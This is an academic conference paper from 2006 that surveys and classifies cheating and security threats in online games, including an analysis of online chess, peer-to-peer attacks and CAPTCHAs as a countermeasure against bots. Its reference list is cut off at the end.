7. References [0] S. Shakeri, P. Rosso. The BSP Spam Filter. In: Proc. Confr. Information Communication Technologies Int. Symposium, Tetuan, Morocco, 2005 [1] Avatar, Digital Silence, 2004 < http://www.d-silence.com/feature.php?id=257 > [2] Federal Trade Commission of US: False Claims in Spam, 2003 < http://www.ftc.gov/reports/spam/030429spamreport.pdf > [3] Wikipedia: Online Encyclopedia- the word Spam < http://en.wikipedia.org/wiki/SPAM > [4] Brad Tempelton: The origin of the tem Spam, 2003 < http://www.templetons.com/brad/spam/ [5] Messagelab Inc.: Average global ratio of spam in email July 2005 < http://www.messagelabs.com/publishedcontent/publish/threat_watch_dotcom_en/threat_statistics/spam _intercepts/DA_114633. chp.html > [6] Spamhaus: The ROKSO database, October 2005 < http://www.spamhaus.org/rokso/index.lasso > [7] RFC2821 Simple Mail Transfer Protocol Specification < http://www.rfc.net/rfc2821.html > [8] Duda, Richard O, Wiley, E. Hart and G. Stork, Pattern Classification, 2nd Edition 2001, U.S.A [9] Alan Agresti, Categorical Data Analysis, 2002, U.S.A [10] Spamassasin: Spam corpus < http://spamassassin.apache.org/publiccorpus > [11] RFC524 Simple Mail Transfer Protocol initial standards < http://www.rfc-archive.org/getrfc.php?rfc=524 > [12] Apache organization: James Mail Server < http://james.apache.org/ > Note: All links have been viewed last on October 2005.
168
Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.
Problems of Security in Online Games Youssef LYHYAOUI a, Souad ALAOUI b, Abdelouahid LYHYAOUI b and Stéphane NATKIN a a Conservatoire National Des Arts et Metiers (CNAM), Paris , France, Email: [email protected]) b National School of Applied Sciences, Tangier, Morocco, Email : [email protected]
Abstract. Online games have recently become a very successful industry. Cheating in online games is an aspect of computer games that has so far received scant attention from researchers on game studies; cheats do not only change the experience of the cheater, but the experience of the other players as well. At this point, cheating turns into an "illegal" activity, presumably procuring the cheater great pleasure because it is prohibited; this may explain why the number of thefts, cheats, vandalisms, threats and illegal gambling cases from online gaming has increased. This paper presents an analysis of the attacks in online games; we define a classification of the attacks in online game and identify the attacker’s objectives, as well as the attacks tools and mechanisms, we also present the complexity of security problems in online games through the example of the chess online game. The scope of this study is to understand these attacks not only as a problem of security in online game but also as the basis of threats against future cooperative computer systems. Keywords. Online Gaming, Attacks, Cheats, Threats, P2P, CAPTCHA.
Introduction IN solo games, to win or lose does not have a serious effect on players and more generally on the real world. However the development of a new generation of games which have a direct impact on the real worlds radically alters the scene [25]. For example, online gaming and in particular massively multiplayer online role-playing games, (MMORPG) are a form of computer entertainment played over the Internet. According to [1], the revenue of online gaming was 5000 $Millions in 2004, and is in constant growth. It is the most popular application on the Internet, and the number of players of online games is estimated to 114 millions [12], [22]. The virtual society that imitates the real world may provide interactions, markets, stores, hotels, restaurants, transportation, virtual money, weapons and so on. However, these virtual properties in the virtual society may have a very high value in the real world. Some games like Lineage [3] (3 million players in South Korea [6]), offer a potential of revenue for items gathered within the game. A search on e-bay [4] for Lineage Online revealed 357 items for sale with a starting bid ranging from US$ 5 to US$ 700. If the illegal actions could be used to build powerful characters or perhaps produce special items, the player may actually earn real life money on cheating in a virtual world.
Y. Lyhyaoui et al. / Problems of Security in Online Games
169
This example shows how cheating in games will have an increasing impact on the society; Moreover, game hackers are particularly inventive and clever. Goals of games attack are much more sophisticated than classical hacking over the Internet: In games, cheaters try to alter subtle rules of the games, time behavior, right on virtual objects. As a consequence we think that the analysis of online games cheating is a way to foresee the attacks on general online cooperative systems like distributed universities, cooperative work systems, online voting… This study should be helpful in order to protect system such as e-democracy, e-commerce, e-learning… The present paper is organized as follows: In section 2, we give a summary of previous work background and research paper findings on the same fields. In section 3, we present our classification of the attacks in online games; in section 4 we explain how are cheats created, and present some example of cheats in the section 5. In section 6 we present the complexity of specifying security rules of online chess game, in section 7 we present the analogies of the Peer-to-Peer systems and online games. Section 8 is dedicated to system detections, and we finish by a conclusion.
1. Background & Previous works 1.1. Background One of the biggest problems the gaming industry suffers from is the player cheating. Online games are losing new players because the cheaters are taking advantage of them. Most of the multiplayer games on the market use client/server architecture which is more secure in terms of cheat, but peer-to-peer architectures are becoming another good choice because no server and maintenance are required by the game company. The only difficulty is again on the cheat [7]. An attack is a breach that occurs whenever the attackers succeed in doing something they are not normally allowed to do. A difficult problem in online game is to characterize the operations which are allowed and those which are forbidden. There are at least three levels of rules which can be violated [21]. 1- Cheating against the provider: the relation between the player as a customer and the game provider. This is generally defined by an implicit or explicit contract. 2- Cheating against the other player: the game rules which must be followed to ensure the fairness of the game. Generally these rules are not well defined. 3- Cheating against the virtual society: the moral rules which allow the virtual social community of the game to be rather stable. These rules may vary from one group of users to another. 1.2. Previous works In September 2003, a game developers Blizzard [2] chose to cancel 400.000 accounts at their Battle.net gaming portal [5]. These accounts had been associated with “a hack or a cheat program” and the players involved were seen as harmful to the status of Battle.net as a “fun and safe place”. This means that the nature of cheat is not well understood. One of the main reasons is the lack of published observations, as on line games providers don’t publicize their vulnerabilities. Based on existing data, several classifications of the attacks in online
170
Y. Lyhyaoui et al. / Problems of Security in Online Games
games have been presented: [11] discuses security requirements impact to design the online games by using online Bridge [22], and present a classification of intrusions. [19] proposes a taxonomy of distributed denial-of-service attacks and a taxonomy of the defense mechanisms that strive to counter these attacks. [16, 24] both present a taxonomy of common forms of cheating in online games; [15] proposes a protocol that has provable anti-cheating guarantees and an initial set of solutions. Most of these works take a rather pragmatic “gaming” point of view [5]. We will deal with the issue from a different perspective and carry out our analysis from more general and formal security approach.
2. Classification 2.1. Why do people cheat? A player who plays online multiplayer computer games fall under one of four different characters: the socializer (who plays games because he enjoys the company of others) the killer (who plays because he enjoys harassing and destroying other players) the achiever (who plays to be the best, to win) and the explorer (who likes to explore the games, finding hidden secrets and flaws in the game). For this way, a game attacker may have numerous motivations: To be the best: to become a famous hacker. Economic incentives: to deny the provider service (sabotage against the provider). To play without paying, (free). To steal the resources of the provider. To destroy the fun for others: to steal the resources of other players. It is fun: to cheat to win game quests. To cheat to acquire virtual resources, which can be eventually sold in the real world? … This list is not exhaustive and can not be the basis of a rigorous classification. From an objective point of view, the goal of the attack can be considered as sabotage (Denial of service), to steal or to cheat to win in the game. But this is a very rough classification [8]. 2.2. Rules which can be violated All classical security definitions rely on the definition of rights and a security policy [26]. An attack is an attempt to perform unauthorized actions according to the security policy. A difficult problem in online game is to characterize the operations which are allowed and those that are forbidden. We consider three levels of rules which can be violated. Cheating against the provider. The relation between the player as a customer and the game provider is generally defined by an explicit contract. For example in World of Warcraft the player is not allowed to sell virtual objects [2]. Cheating against the other players. This is an attempt to violate the game rules which must be followed to ensure the fairness of the game. These rules are not always precisely defined.
Y. Lyhyaoui et al. / Problems of Security in Online Games
171
Cheating against the virtual society. Persistent worlds are regulated by moral rules which allow the virtual social community of the game to be rather stable. These rules may vary from one group of users to another. For example, a member of the Golden Guild (a cooperative group of players) in the game Dark Age of Camelot is subject to the following rules: he must obey to the hierarchy orders, he must always help other members of the guild, and he must chat with other members of the guild. At the boundary of this category there are “unfair” behaviors. An attack of a novice by an expert player is generally considered as an unfair attitude. An attack may combine several actions, each one can be considered as a violation of one of the previous class of rules. The system of rights is not simply related to the goal of the attacker. For example an attacker may modify the software of the game, an action which is forbidden according to the provider contract, to win against other players [17]. At a lower level, the mechanisms used in an attack rely on the violation of basic security properties: confidentiality of data, integrity of data, integrity of the sequencing or the timing of events, integrity of the code, authentication of users, authentication of software objects (SO), authentication of computers. At least these violations can be performed on the server side, on the client side or through the network [20]. Distributed games are much more prone to cheating, and cheats are possible within a client-server or a peer-to-peer architecture of the game [15].
3. How are cheats created? One needs to understand a bit on how cheats are created. An online multiplayer game can be designed in two basic ways, called client-server and peer-to-peer. The clientside architecture means that each player has a client that communicates with the server, i.e. the client takes the input from the player and sends it to the server. The server has control over all information in the game and sends back the information relevant to the client based on the player’s actions. At any given time the client, the player’s computer, only have access to a limited amount of information from the game. This means that the server runs the game and chooses what to tell the client. Client-server based games needs to be played on a server. Most MMORPGs are clientserver based. Peer-to-peer (P2P) operates without an independent server, and the information from the players computers are not relayed via servers. Instead each player’s computer has access to all pertinent information at any given time, and information is sent directly from computer to computer. Peer-to-peer based games are extremely hard to protect against cheats. Since each player has access to all information, even to all the data about the other players, he can change it on his computer at will, albeit some effort and skill is required to create hacks, and the other computers in the game will simply receive that information and act on it. So then, how are cheats actually programmed? We present in the following section a list of examples that each illustrates a different method of cheat.
172
Y. Lyhyaoui et al. / Problems of Security in Online Games
4. Examples of cheats In this section we present some examples of attacks which are out of classical hacks on the Internet (flooding servers, cracking passwords…). They show the complexity of the online game security problems .They are classified according to our typology. Unauthorized use of AI: Numerous MMOGs (Massively Multi-player Online Games) contract stipulate that a player is not allowed to play without being physically present at the client side. In other words, he must not delegate his role to an autonomous agent or any kind of programmed automata. This rule is used to protect servers from overload: if all the players who have a subscription are always connected, even if they are not physically using the client computer, a MMORPG which has 3 millions customers will run out of business. Attack attaches again this rule is sabotage against the provider contract. It can be rather easily implemented and is very difficult to detect. Even if it is detected, it is practically impossible to prove as a faulty behavior. Selling hacked software objects: Some games (like the Sims) allow players to create and to distribute their own objects. It can be passive objects, like 3D furniture but it can be also active objects implemented, for example, as Java applets. The interaction of such objects with the virtual world is supposed to be constrained, as they must not disturb the game-play. [28] reports that a sexy hacked coffee machine was distributed over the Sims community. When this machine was installed in a Sims house, it had two particular perverse effects. First the coffee became free in the whole Sim’s town. Then all the feeling of jealousy disappears from the Sims behavior leading to a post hippie sexual behavior. We have not been able to verify this funny hack, but its implementation is quite realistic [27], and this kind of attack concerns the new generation of online games where the players are allowed to create active objects. The goal of this attack is clearly to sabotage against the provider rules. The implementation is probably based on unauthorized calls to software objects methods, altering the integrity of the flow of messages. It is the implementation of a Trojan horse in highly opened and dynamic environment, which is very difficult to prevent. Stealing Virtual Assets: Many virtual characters and items acquired in the virtual world of online games can be traded in the real world. The virtual values and items (examples: weapons, magic portion …), can produce true financial businesses. The goal of the attacker is to steal assets belonging to the provider and does not need any particular implantation. The detection of the attack is quite simple (look on eBay). The most interesting extension of this feedback between cheating in the virtual world and the real world is given in [25]: the analysis of the economy of star wars online shows that some cheaters are producing forged virtual currencies (Selling hacked virtual objects). As these currencies can be sold on eBay, the forged currencies can be transformed on real dollars. Cheating by access to hidden data on the client side: A cheater may modify the graphics software (for example the driver) installed in the client side, to make walls transparent. He can see through the wall and locate other players who are supposed to be hidden behind the wall [14], which gives him a great advantage in the game play. The ultimate goal of this attack is to win in the game quests. This violates the provider contracts (the game must be used through the standard client software). It relies on the violation of the code integrity on the client side. As long as the integrity of the client software is not periodically checked (using, for example a digital signature), this attack can not be detected as the cheater behaves like a clever player. Cheating using design flaws: Some online cheats exploit bugs or design flaws found in game software to get an unfair advantage. For example the cheater may activate some debugging mechanisms, which are left by the programmers, to alter
Y. Lyhyaoui et al. / Problems of Security in Online Games
173
dynamically hidden variables. This form of cheating can generate endless amounts of resources for a human player [11]. This example falls in the same category than as the previous one and is also undetectable. Client Hook: This cheat allows the player to load up a “client-loader” or an “injector” when the game is started, and injects lines of code directly into the RAM, which allows the game data sent to and from the server to be manipulated directly in the memory, bypassing the game itself. This hack does not change the permanent game files, but rather the copies of game files done in the RAM necessary to run the game Cheating by Deny of Player Services: A cheater player gains advantages by denying other players service. A cheater can delay the responses from one opponent in a real-time game by flooding his network connection [19]. This technique can be used for several purposes. First, it allows getting dangerous opponents out of the game. Other players or the game manager will believe that there is something wrong with the network connection of the victim, and will agree to kick him out. A more subtle use of this attack is just to slowdown the response time of the opponent, which gives great advantages to the cheater. This kind of attack is clearly against the other players. It may be sometime a violation of the provider contract, but this is not clear, for the flooding computer and software has nothing to do with the game software. In many countries, it is a violation of laws on electronic operations (deny of service flaw). It relies on an alteration of the sequencing and timing of messages performed through the network. Cheating by Collusion: This kind of cheats uses a well known techniques using the fact that the players can not see each other and are anonymous. It occurs in games where players are expected not to know what other players know. Players collude to gain unfair advantages. An example of this category of cheat is in online poker [23], if three players participate in a game in the same table, two of them could cheat the third player by exchanging information. Alternatively as single person can play as several players, members of opponents groups, using several profiles and computers. This attack again the games rules, relies on the absence of authentication of the users and the lack of control of covert channels (confidentiality of data). Playing Against the moral rules of the virtual society: Some techniques may run against the moral of the game without being technically unfair. The example is known as camping. Camping stands for the practice of a player staying in one area of the game world waiting for enemies or useful objects to appear or to come to the player rather than him actively seeking them out [18]. Players camp in order to gain an advantage over their opponents [13]. Camping is not technically unfair since the option is equally available to the opponent, but it can affect the game interest. It is an attack against the game implicit rules, it does not rely on technical mechanisms and is very difficult to prevent.
5.
The complexity of specifying security rules for online games: the example of chess games
In this section, we will illustrate the potentially high complexity of specifying security rules for an online game as compared to similar specifications for physical games [29, 30]. By security rules, we mean, in a first informal approximation, what is allowed, and
174
Y. Lyhyaoui et al. / Problems of Security in Online Games
what is forbidden in the game, but also what hypotheses that must be assumed during the specification. As a starting point we take a very ancient game, where rules are well-known and relatively easy to specify, and where it is quite difficult to cheat in a physical situation [32]. We will show how when translating this game into a distributed context, how the hypothesis to be taken into account must be enforced, either more complex verification mechanisms to ensure them must be specified [31]. What is alarming, sometimes, is that straightforward rules allowing determining the issue of the game cannot be completely specified beforehand. We briefly describe four different modalities of chess game: local classical (space and time unicity) game, distant game by telephone, a human player against a distant computer, and finally, two distant human adversaries playing through a distant server. 5.1. Local (classical) chess game This game is played in a common space with two human players and a referee, the rule of the referee is to control the game play and signal the cheat. In this category of chess game, the rules mostly specify what players are: Authorized to do while moving pieces within the current state of the board (board constraints). Supposed to play within a maximum delay of time on each turn (time constraints). The forbidden actions are considered by default: any action going against these explicit rules can be considered, depending on the case, as cheating, or as declaring “forfeit”. One could add and implicit rules of fair-play, that is, not doing anything that can disturb the visual or audio perception of the game for the other player: sadly, this rule is quite difficult to specify, at least in a complete manner. There is one implicit hypothesis of the game specification: the referee does not cheat. An important security property of the game, due to locality, is that the indeterminacy of time for a player, or placement for a piece, are not relevant with respect to the dynamic of the game. As a consequence, this specification relies on some very important properties: The time of playing for each player and the movements made by each player are completely observable by the referee. That is, both concepts are explicitly specifiable. Every actor (the referee and both players) has a coherent vision of the board state. Thanks to locality, this property is ensured by default. One can easily see that in this first situation it is quite difficult for a player to cheat. 5.2. Phone chess game In this version of the game, we suppose that both players are placed in distant places, each one with his own board, and with movements communicated by phone. A first problem arises when trying to determine the role of the referee. Having only one referee seems as useless as having none, as for one of the players it would be impossible to determine the limits of his movement phase, neither to ensure the coherence between both distant boards. Thus, the specification must be refined with a new referee: each one of them accompanying a player. As before, each referee is supposed not to cheat.
Y. Lyhyaoui et al. / Problems of Security in Online Games
175
Even if the game rules do not fundamentally change, the specification must be refined in order to define new concepts arising in the game, namely: • The communication protocol between referees in order to ensure respect of time constraints and coherence on both boards. • Authentification protocol in phone calls to forbid third players to take the role of one of the couple referee-player. • A completely new event: an accidental communication interruption can arise, and rules must be defined accordingly. In this variant of the game, a new form of cheat arises, coming from the non unicity of the observability of referees: an intruder can take the place of a second couple of referee-player. Besides that, it is important to notice that neither the identification of the time playing phases, nor the coherence of the two different boards are really compromised by this version. Thus, even if the game gets distributed, a good coherence can be maintained in the time and boards of players. As a conclusion, cheating remains difficult in this framework, as the price of an important but not insurmountable refinement of the specification. 5.3. A human player against a distant computer In this case, the human player plays against a computer program from a remote place, the computer game plays the rule of the referee, the chess game is a board interface program and the movements are communicated by area. In this framework one cannot any more determine the outcome for the following reasons: The time playing phases of players: the time to play a game is separated by phase; the complexity here is to know the beginning and the end of each phase, and if the player has already do a movement or not. As in the previous case, a unique referee cannot observe both players, and then authentification cheating can arise. As a consequence, the straightforward rule of forfeit, related to the absence of a time movement at the end of playing phase cannot be precisely specified. Actually, this sort of specification belongs to a very difficult class of problem, here the concept of time and space lose their value: We can’t specify exactly the time of the game play: the player can just pretend that there are problem of area, to give himself more time to analyze the complicated position. The communication system can’t distinguish between a possible breakdown or lower performance independent of goodwill of the player, and a cheating by causing breakdowns, or pretending not have received information. The player can send a failure data position to know the reaction of the computer and get an unfair advantage. As a conclusion, it is too easy to cheat in this category, and the cheat can’t be proved by a referee; the explicit action which was specified perfectly becomes very difficult to specified, even with the presence of the referee. 5.4. Three distant actors: computer and two human players In this class of chess game, we suppose that two players are connected to the server of chess game via Internet, they both have only one computer, the server plays the rule of the referee as previously; his role is to control the game between the opponents, and
176
Y. Lyhyaoui et al. / Problems of Security in Online Games
signal any forbidden actions (actions against the rules of the game like the movement of the bishop in the board and so on). However, there are actions that can’t be detected by the server, or even if there are detected; the server can’t decide if it’s the cheat. In the Internet, there are several clubs of chess game, the players connect to the server through a login and password, and use an interface of the game. We present some security failures that can arise: •
The players simply refuse to move (absence of a time control) when he is losing. Or, if they feel that they are losing, they disconnect from the Internet to avoid a loss (some players disconnect on purpose for 5 to 10 minutes during a difficult game to give themselves more time to analyze the complicated position). • On every Internet chess server, there are players who cheat by using computer software or a strong player to help them find the best moves. The problem is how to prove it. • A player can also send the failure data to his opponent, and bring him to the error; he then wins the party more easily. From what precedes, it is clear that it is quite difficult to come out with security rules specifications for games. There is absence of the notion of space and time is absent as in the chess game, there are actions which are impossible to specify. In this section, we have presented a simple example of online games by describing a different type of communications; we began by the rules which are completely specifiable and those that are difficult and not completely specifiable; these types of problems are of various nature: authentification, tolerance of pain, notion of time and space distribution.
6. Online Games and the analogies of Peer-to-Peer systems Historically, MMOs have used client/server architecture. This architecture has the advantage that a single authority orders events, resolves actions as a central repository for data, and is easy to secure. On the other hand, it has the disadvantage of increased latency, localized congestion at the server, limited storage capacity, and limited computational power by the server. The peer-to-peer (P2P) architecture for MMOs has the potential to overcome these problems. Players can send messages directly to each other, thereby reducing delay and eliminating localized congestion [33]. P2P architecture have seen generally an enormous success, and recently the introduced P2P services reached tens of millions of users. A feature that significantly contributes to the success of many P2P applications is user anonymity. However, anonymity opens the door to possible misuses and abuses, exploiting the P2P network as a way to spread tampered with resources, including Trojan Horses, viruses, and spam. Thereafter, we present some security problems of this architecture in other application [34, 35]. P2P applications of file exchange: we propose P2P applications for file exchange as P2P systems. Several worries have been raised about the use of P2P file sharing applications. A typical concern is performance-related: the huge audio and video files that users typically share could clog the global Internet as well as corporate networks. These issues can be kept under control with relative ease by traffic-shaping techniques
Y. Lyhyaoui et al. / Problems of Security in Online Games
177
that enforce bandwidth constraints on P2P traffic. A greater and more difficult problem of P2P file sharing applications is that they introduce a new class of security threats, as they can be exploited to distribute malicious software, such as viruses and Trojan horses, even bypassing the protections of fire-walled networks. This risk is not only present when a user downloads executable content. Indeed, also audio and video files may harbour security threats, as the multimedia formats permit the introduction of links and active content that may be exploited to introduce malicious software into a computer. Also, there are many applications of P2P technologies where the network is used to distribute executable content. We can introduce this category of security problems in the selling hacked software objects or cheating by access to hidden data on the client side addressed in section 5. These P2P security challenges cannot be fully met by means of traditional techniques. For instance, prohibitions on the use of P2P applications, by organization policy or blocking ports used by file sharing P2P programs, may not be effective. As a matter of fact, users often show a particular interest in P2P applications, and may use them anyway configuring their programs for the use of unblocked port. A technical solution that permits users to responsibly choose the level of risk of their actions appears to be more appropriate as it has greater chance to be supported by users and allows exploiting the benefits of P2P technologies. Self reproduction: The simplest version of this attack is based on the fact that in current P2P systems there is virtually no way to verify the source or content of a message. Most P2P systems manage their own namespace, allowing users to have temporary identities on the system, regardless of their IP address. Such identities are usually not persistent and, in principle, could change at every interaction. Of course, every peer has an IP address, and perhaps even a DNS name associated with it; but IPBased identification is hardly feasible when the binding between a peer and its IP address is made via dynamic Network Address Translation. We can find this type of security problems in the vote systems for example. Man in the middle: this kind of attacks takes advantage of the fact that, due to application-level routing of P2P networks, a malicious peer can lie in the path between two “honest” peers. The basic version of the attack works as follows. Assume that A is a peer searching for a file, B is a peer that has the file A is looking for, and D is malicious peer. A broadcast a Query message and B responds. Malicious peer D intercepts the QueryHit message from B and modifies the IP and port fields to contain D’s IP address and port. The modified QueryHit message is then sent back to A. A decides to download the file from D which provides a fake resource (possibly even a hostile version of the original one provided by B). We note that most P2P applications are targets of enamours attacks, using the failure of this architecture, all these examples of attacks can be used in the online games easily and the opposite is correct. In the next section, we present the CAPTCHA, the programs protection against the attacks that can be generated by the attacker and by the automatic’s programs attacks.
178
Y. Lyhyaoui et al. / Problems of Security in Online Games
7. CAPTCHA The aim is to study the problem of restricting participation in online games to human players, so they can enjoy the game without interference from automated playing agents known as bots. The purpose is to keep bots out of online games. This consists of seamlessly integrating software-based tests to tell humans and computers apart into online games, known as CAPTCHAs [40, 41, 42]. 7.1. What is a CAPTCHA? CAPTCHA is an acronym for "Completely Automated Public Turing test to tell computers and Humans Apart" is a type of challenge-response test used in computing to determine whether or not the user is human [37]. It’s a program that can generate and grade tests that most humans can pass or current computer programs can't pass [38]. 7.2. Why is it useful? Bots (software agents) have been developed to automatically perform illegitimate transactions over the Web, including overloading online opinion polls, performing dictionary attacks to find names and passwords as well as grabbing thousands of free email accounts for sending spam messages. CAPTCHAs are designed to prevent bots (programs that pose as humans on the Internet) from abusing internet services. Bots, driven not to dominate but to sell, sign up for thousands of free email accounts every minute, sending millions of spam messages from them. They infiltrate chat rooms, collecting personal information and posting links to promotional sites. They generate worms, break password systems, invade privacy, and drain resources. CAPTCHAs are based on reading text (or other visual-perception tasks) and they prevent visually-impaired users from accessing the protected resource. However, CAPTCHAs do not have to be visual. Any hard AI problem, such as speech recognition, can be used as the basis of a captcha. Some implementations of CAPTCHAs permit users to opt for an audio Captcha. The development of audio CAPTCHAs appears to have lagged behind that of visual CAPTCHAs, however, and presently may not be as effective. 7.3. CAPTCHA Applications CAPTCHAS are used to prevent bots from using various types of computing services. Applications include preventing bots from taking part in online polls, registering for free email accounts (which may then be used to send spam), and, more recently, preventing bot-generated spam by requiring that the (unrecognized) sender pass a Captcha test before the email message is delivered. CAPTCHA tests have several applications for practical security [38], including (but not limited to) for example: Free Email Services: Several companies (Yahoo, Microsoft, etc.) offer free email services. Most of these suffer from a specific type of attack: "bots" that sign up for thousands of email accounts every minute. This situation can be improved by requiring
Y. Lyhyaoui et al. / Problems of Security in Online Games
179
users to prove they are human before they can get a free email account. Yahoo, for instance, uses a CAPTCHA test to prevent bots from registering for accounts. Search Engine Bots: It is sometimes desirable to keep WebPages unindexed to prevent others from finding them easily. There is an html tag to prevent search engine bots from reading web pages. The tag, however, doesn't guarantee that bots won't read a web page; it only serves to say "no bots, please". Search engine bots, since they usually belong to large companies, respect web pages that don't want to allow them in. However, in order to truly guarantee that bots won't enter a web site, CAPTCHA tests are needed. Worms and Spam: CAPTCHA tests also offer a plausible solution against email worms and spam: "I will only accept an email if I know there is a human behind the other computer." A few companies are already marketing this idea. Preventing Dictionary Attacks: Pinkas, [39], has also suggested using CAPTCHA tests to prevent dictionary attacks in password systems. The idea is simple: prevent a computer from being able to iterate through the entire space of passwords. 7.4. Examples of CAPTCHA GIMPY is one of the many CAPTCHAs based on the difficulty of reading distorted text. GIMPY is based on the human ability to read extremely distorted and corrupted text, and the inability of current computer programs to do the same. GIMPY works by choosing a certain number of words from a dictionary, and then displaying them corrupted and distorted in an image; after that GIMPY asks the user to type the words displayed in that image. While human users have no problem typing the words displayed, current bots are simply unable to do the same. . Another example of a CAPTCHA is BONGO. It is a program that asks the user to solve a visual pattern recognition problem. In particular, BONGO displays two series of blocks, the left and the right series. The blocks in the left series differ from those in the right, and the user must find the characteristic that sets the two series apart. After seeing the two series of blocks, the user is presented with four single blocks and is asked to determine whether each block belongs to the right series or to the left. The user passes the test if he or she correctly determines the side to which all the four blocks belong. PIX is a program that has a large database of labelled images. All of these images are pictures of concrete objects (a horse, a table, a house, a flower, etc). The program picks an object at random, finds 4 random images of that object from its database, distorts them at random, presents them to the user and then asks the question "what are these pictures of?" Current computer programs are not able to answer this question. Sounds can be thought of as a sound version of GIMPY. The program picks a word or a sequence of numbers at random, renders the word or the numbers into a sound clip and distorts the clip. It then presents the distorted sound clip to its user and asks the user to type in the contents of the sound clip. To defend e-commerce systems from bots, an increasing number of companies are arming themselves with CAPTCHAs. For example, users registering on Yahoo must first correctly recognize a distorted word displayed against a cluttered background and type it into a box to prove they are human. Such reading-based CAPTCHAs exploit the large gap between humans and machines in their ability to read images of text.
180
Y. Lyhyaoui et al. / Problems of Security in Online Games
Multiplayer computer games have become an increasingly important economic, social, and cultural phenomenon: nowadays millions of players routinely gather online to play their game of choice. Online game genres are extremely diverse: First-Person Shooters (FPS), MMORPGs, and online card games (e.g. poker) are among the most popular. The problem of distinguishing human players from bots in online games may not at first sound very difficult. After all, there is a clear gap between the abilities of humans and computers (e.g. bots can not carry coherent sustained conversations with humans). Preventing bots from playing online games: as multiplayer online gaming gains in economic and social importance, an increasingly large number of players is beginning to rely on bots (automated player agents) to gain unfair advantages in games. So it seems reasonable to study the problem of restricting participation in online games to human players in order to enjoy the game without interference from the bots. Philippe, [36], proposes two broad approaches to prevent bots from playing online games. The first consists of seamlessly integrating software-based tests (known as reverse Turing tests or CAPTCHA tests) into online games to tell humans and computers apart. The second contribution is to propose hardware instantiations of CAPTCHA tests. These techniques are applicable in a wide variety of online games, from poker to “shoot-emups”. They are cost-effective, immune to cheating, and preserve the human players’ enjoyment of each game.
8. Conclusion Online games are confronted to a great number of attacks, according to the complexity of the rules in an open virtual world; in the preceding pages, we have presented a classification of attacks in online games; several attacks have been presented in order to cut through the obscurity and raise the awareness as to the potential online games security problems. The specifying of this problems is not easy, it‘s more and more difficult and complicated. The taxonomy described is intended to help to understand threats and think about new kinds of detection and protection mechanism. Our next research step is to build a formal security policy model, which takes into account the three categories of rights and rules presented here.
References [1] [2] [3] [4] [5] [6] [7] [8]
DataMonitor, www.datamonitor.com. Blizzard Support, World of Warcraft, http://www.blizzard.com, https://signup.worldofwarcraft.com/agreement.html, http://ww.worldofwarcraft.com/policy/ NCsoft, Lineage homepage, http://www.lineage.com. E-bay, www.ebay.com Battel, http://www.battel.net Wired, http://www.wired.com/wired/ archive/10.08/korea_pr.html Stéphane Natkin, “Les protocoles de sécurité d'internet”, Paris, Dunod Ed 288 pages - 2002 Yan, J. J. & Choi, H. J, “Security Issues in Online Games”, The Electronic Library, Vol. 20, No.2, 2002. Previous version appears in Proc. of International Conference on Application and Development of Computer Games, City University of Hong Kong, Nov. 2001.
Y. Lyhyaoui et al. / Problems of Security in Online Games [9] [10] [11] [12] [13]
[14] [15] [16] [17]
[18] [19]
[20] [21] [22]
[23]
[24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39]
181
Matt Pritchard, How to Hurt the Hackers: The Scoop on the Internet Cheating and How You Can Combat It, Available: http://www.gamasutra.com/ features/20000724/Pritchard_01.htm, July 2000. Manuel Oliveira Tristan Henderson, “What Online Gamers Really Think of the Internet?”, University College London, Department of Computer Science. Yan, J. J. & Choi, H. J, “Security Design in Online Games”, in Proc. of the 19th Annual Computer Security Applications Conference, IEEE Computer Society, December, 2003. Ming Yang Lin, “Uncheatable GamesUsing Zero-Knowledge System” Department of Software Engineering Part IV Project Report 2003. Jonas Heide Smith, “Playing dirty – understanding conflicts in multiplayer games”, Paper presented at the 5th annual conference of The Association of Internet Researchers, The University of Sussex, 1922nd September 2004. Christopher Choo, “Understanding Cheating in Counterstrike”, Nov. 2001. Available at http://www.fragnetics.com/ articles/cscheat/print.html. N Baughman and B Levine. “Cheat-proof Playout for Centralized and Distributed Online Games”, in Proc. of the Twentieth IEEE INFOCOM Conference, Apr. 2001. Yan, J. J. & Choi, H. J, “A Systematic Classification of Cheating in Online Games”, Department of Computer Science and Engineering, the Chinese University of Hong Kong, Shatin, N.T., Hong Kong. Ying-Chieh Chen, Patrick S. Chen, Ronggong Song, Larry Korba; “Online Gaming Crime and Security Issue–Cases and Countermeasures from Taiwan”. published in the Proceedings of the 2nd Annual Conference on Privacy, Security Trust. Fredericton, New Brunswick, Canada. October 13-15, 2004. C Morningstar and FR Farmer, “The Lessons of Lucasfilm’s Habitat”, in Cyberspace: First Steps, M Benedikt (ed.), MIT Press, Cambridge, 1990. Jelena Mirkovic, Janice Martin and Peter Reiher, “A Taxonomy of DDoS Attacks and DDoS Defense Mechanisms”, Computer Science Department, University of California, Los Angeles Technical report #020018. SB Davis, “Why Cheating Matters: Cheating, Game Security, and the Future of Globa On-line Gaming Business”, in Proc. of Game Developer Conference 2001, 2001. Kuo, A. “A (very) brief history of cheating”, from : http://shl.stanford.edu/ Game_archive/StudentPapers/BySubject/A-/C/Cheating/Kuo_Andy.pdf, 2001. Lindqvist and E Jonsson, “How to Systematically Classify Computer Security Intrusions”, in Proceedings of the 1997 IEEE Symposium on Security & Privacy, Oakland, California, May 1997. 154163 pages. Jeff Yan and Brian Randell, “Security in Computer Games: from Pong to Online Poker”, School of Computing Science, University of Newcastle upon Tyne, Technical Report Series, CS-TR-889, February 2005. Kunt Hakon T. Morch, “Cheating in online games – Threats and solution” Version 1.0, Norsk Regnesentral Corp., January 8, 2003. Natkin S., Yan Ch., "Analysis of Correspondences between Real and Virtual Worlds in General Public Applications ", IEEE, Computer Graphic and Image Vision (CGIV05), Beijing, 2005. Blizzard Goes to War, http://terranova. blogs.com/terra_nova/2004/12/blizzard goest.html Sims 2 Hacks Spread Like Viruses, http://games.slashdot.org Cheating: Multiplayer Gaming's Achilles' heel?: http://www6.tomshardware.com/game/20030517/cheating-02.html J.Black, M.Cochran, R.Gardner; “How to Cheat at Chess: A Security Analysis of the Internet Chess Club” November 15, 2004. Cheating Heart Attack : http://www.chessninja.com/dailydirt/archives/cheating_heart_attack.htm Cheating in the World Computer Chess Championship : http://www.samsloan.com/awit-rex.htm To boldly cheat where no one has cheated before : http://www.playchess.de/articles/1 Chris GauthierDickey, Daniel Zappala, Virginia Lo, James Marr; “Low latency and 